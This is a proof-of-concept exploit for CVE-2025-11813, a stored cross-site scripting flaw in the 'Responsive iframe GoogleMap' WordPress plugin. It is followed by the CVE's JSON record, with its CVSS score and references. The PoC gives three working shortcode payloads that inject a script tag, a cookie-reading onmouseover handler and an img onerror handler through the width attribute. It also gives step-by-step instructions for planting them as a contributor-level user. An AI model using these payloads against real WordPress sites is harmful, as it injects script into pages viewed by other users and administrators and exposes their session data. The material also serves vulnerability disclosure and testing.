CVE-2025-11813

<!-- Stored XSS PoC for CVE-2025-11813 --> <!-- Inject the following shortcode into a WordPress post or page as a contributor-level user --> [responsive_map width="1\"><script>alert('XSS-CVE-2025-11813')</script>" height="1"] <!-- Alternative payload using event handler --> [responsive_map width='" onmouseover="alert(document.cookie)"' height="1"] <!-- Alternative payload using img tag injection --> [responsive_map width="1\"><img src=x onerror=alert('Stored-XSS')>" height="1"] <!-- Steps to reproduce: 1. Login as a WordPress user with contributor-level access or above 2. Create a new post or page 3. Insert the malicious shortcode with XSS payload in width/height attributes 4. Publish the post/page 5. When any user (including admin) views the published page, the injected JavaScript executes -->

{"cve": {"id": "CVE-2025-11813", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive iframe GoogleMap plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'responsive_map' shortcode in all versions up to, and including, 1.0.2. This is due to insufficient input sanitization and output escaping on the 'width' and 'height' attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-iframe-googlemap/tags/1.0.2/responsive-iframe-googlemap.php#L80", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/responsive-iframe-googlemap/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/47a04186-8eec-4ef6-9fce-9b891a04ed9f?source=cve", "source": "[email protected]"}]}}